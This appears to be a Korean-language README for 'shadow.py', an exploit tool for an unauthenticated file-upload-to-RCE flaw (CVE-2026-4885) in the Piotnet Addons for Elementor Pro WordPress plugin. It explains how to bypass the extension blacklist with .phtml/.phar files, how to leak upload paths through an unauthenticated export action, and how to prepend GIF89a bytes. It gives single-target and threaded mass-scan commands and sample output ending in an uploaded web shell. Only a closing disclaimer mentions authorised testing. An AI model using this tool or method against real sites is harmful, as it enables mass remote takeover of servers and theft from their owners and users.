
Piotnet Addons for Elementor Pro <= 7.1.70 - 인증되지 않은 임의 파일 업로드 → RCE
Piotnet Addons for Elementor Pro <= 7.1.70 - 인증되지 않은 임의 파일 업로드 → RCE
WordPress용 Piotnet Addons for Elementor Pro 플러그인은 pafe_ajax_form_builder 함수에서 파일 형식 검증이 누락되어 7.1.70을 포함한 모든 버전에서 임의 파일 업로드에 취약합니다. 플러그인은 불완전한 확장자 블랙리스트를 사용하여 php, phpt, php5, php7, exe 확장자만 차단하고, .phar나 .phtml과 같은 위험한 확장자는 자유롭게 업로드할 수 있도록 허용합니다.
이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 PHP 파일을 업로드하여 **원격 코드 실행(RCE)**이 가능해집니다.
참고: 익스플로잇은 Piotnet 폼에 파일 필드가 추가된 경우에만 트리거될 수 있습니다.
~ CVSS 점수 : 9.8 (심각)
~ CVSS 벡터 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
~ 영향 받는 버전 : <= 7.1.70
~ 패치 : 패치 없음
~ 공개일 : 2026년 5월 18일
pafe_ajax_form_builder AJAX 핸들러는 적절한 검증 없이 파일 업로드를 허용합니다:
// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];
// .phtml, .phar, .shtml etc. pass through freely ✓
업로드 경로는 인증되지 않은 pafe_export_database AJAX 액션을 통해 유출 가능 → CSV 내보내기에 전체 파일 URL이 포함됩니다.
대화형 메뉴 (기본값) :
python3 shadow.py
╾──── MENU ────╼
1 ▶ one target
2 ▶ mass scan
3 ▶ exit
[1/2/3] :
단일 대상 (CLI) :
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml
대량 대상 (CLI) :
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml
옵션 :
-u, --url Target URL
-f, --file File with target URLs (one per line)
-s, --shell Custom PHP shell file (GIF89a auto-prepended)
-t, --threads Concurrent threads for mass mode (default: 5)
-h, --help Show help
form_id, post_id, field_name의 자동 발견 - 페이지 HTML에서pafe_export_database를 통한 URL 유출 (인증 불필요, nonce 불필요)shell.txt에 자동 저장로컬에서 셸 파일을 준비하세요 (예: shadow.phtml) — GIF89a 매직 바이트가 누락된 경우 자동으로 앞에 추가됩니다.
차단된 확장자:
.php.phpt.php5.php7.exe대신 사용:
.phtml.phar.shtml.php8등
╔══════════════════════════════════════════════════════════╗
║ ║
║ ♡ CVE-2026-4885 ║
║ Piotnet Addons for Elementor Pro <= 7.1.70 ║
║ Unauthenticated File Upload → RCE ║
║ ║
║ by Shadow & Friska ♡ ║
║ ║
╚══════════════════════════════════════════════════════════╝
╾──── VERSION ────╼
♡ v7.1.67 <= 7.1.70 — VULNERABLE
╾──── RECON ────╼
◆ scanning 46 pages (parallel)...
♡ [PIOTNET] https://target.com/contact
post_id=9 | form_id=72071c0
◆ using : https://target.com/contact
╾──── EXPLOIT ────╼
◆ post_id=9 | form_id=72071c0 | field=file
▶ trying .phtml ...
♡ uploaded (.phtml)
♡ URL leak : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml
╔══════════════════════════════════════════════════════════╗
║ ★ SHELL UPLOADED (.phtml) ║
║ ║
║ ◆ shell : https://target.com/wp-content/... ║
╚══════════════════════════════════════════════════════════╝
pip install httpx
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다.
소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.